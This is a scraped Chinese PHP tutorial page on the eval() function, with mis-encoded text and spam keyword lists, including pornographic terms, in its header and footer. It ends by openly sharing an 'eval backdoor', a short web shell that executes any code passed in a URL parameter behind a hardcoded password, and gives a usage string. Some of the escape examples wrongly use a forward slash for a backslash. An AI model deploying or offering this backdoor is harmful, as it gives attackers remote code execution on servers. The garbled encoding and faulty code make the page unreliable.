国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

PHP eval函數(shù)使用介紹

2024-05-04 23:19:53
字體:
供稿:網(wǎng)友

代碼:

復(fù)制代碼 代碼如下:


eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運(yùn)用eval()要注意幾點(diǎn):

1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)

2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有/來轉(zhuǎn)義。如果沒有賦值操作可以不需要。

代碼:

復(fù)制代碼 代碼如下:


$a=100;
eval("echo$a;");

因?yàn)闆]有賦值操作,所以可以不用/來轉(zhuǎn)義$.等同于以下代碼:

復(fù)制代碼 代碼如下:


$a=100;
eval("echo/$a;")

3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。

命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。

如果參數(shù)只有一個(gè)變量則可以不用。例如:

復(fù)制代碼 代碼如下:


$func =<<<FUNC
function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個(gè)php eval后門程序

要求必須支持eval函數(shù)
使用方法
?pwd=admin&action=eval&a=phpinfo();

復(fù)制代碼 代碼如下:


<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 武山县| 武威市| 伽师县| 富顺县| 本溪| 来安县| 溧水县| 丰都县| 育儿| 宁陵县| 长丰县| 永宁县| 红桥区| 巴林左旗| 齐河县| 绥宁县| 如皋市| 乌海市| 收藏| 余江县| 封丘县| 怀仁县| 云阳县| 佛冈县| 清水河县| 金华市| 江口县| 普格县| 娄底市| 吉隆县| 浦县| 如皋市| 邯郸县| 新蔡县| 桓台县| 沂水县| 珠海市| 遂溪县| 老河口市| 彩票| 新竹市|